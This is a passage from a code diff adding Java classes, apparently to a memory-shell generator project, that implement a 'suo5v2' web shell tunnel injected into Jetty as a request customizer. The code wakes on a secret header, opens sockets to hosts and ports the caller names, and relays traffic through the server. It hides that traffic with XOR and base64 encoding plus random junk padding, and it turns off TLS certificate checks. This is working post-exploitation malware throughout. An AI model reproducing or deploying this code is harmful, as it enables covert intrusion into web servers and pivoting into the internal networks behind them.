byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java new file mode 100644 index 00000000..6c2cf151 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java @@ -0,0 +1,1123 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.Request; + +import javax.net.ssl.*; +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + private static ThreadLocal once = new ThreadLocal(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2JettyCustomizer() { + } + + public Suo5v2JettyCustomizer(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2JettyCustomizer(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + // jetty9+ + public void customize(Connector connector, HttpConfiguration channelConfig, Request request) { + try { + Object response = invokeMethod(request, "getResponse"); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + new Suo5v2JettyCustomizer().process(request, response); + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + } + } catch (Throwable ignored) { + } + } + + @SuppressWarnings("all") + public Object unwrap(Object obj, String fieldName) { + try { + return getFieldValue(obj, fieldName); + } catch (Throwable e) { + return obj; + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } + + private void process(Object request, Object response) { + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(request, response, dataMap, tunId, sid); + break; + case 0x01: + setBypassHeader(response); + processFullStream(request, response, dataMap, tunId); + break; + case 0x02: + setBypassHeader(response); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + response.getClass().getMethod("setStatus", int.class).invoke(response, 403); + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); + do { + processHalfStream(request, response, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(response, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(response, new String(sidData))); + + do { + processClassic(request, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); + writeAndFlush(response, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable ignored) { + } finally { + + } + } + + private void setBypassHeader(Object resp) throws Exception { + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(Object resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + pipeStream(conn.getInputStream(), out, false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + e.printStackTrace(); + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + out.write(data); + if (dirtySize != 0) { + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } + + private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2JettyCustomizer(tunId, 1)).start(); + new Thread(new Suo5v2JettyCustomizer(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(Object request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { + String method = (String) request.getClass().getMethod("getMethod").invoke(request); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { 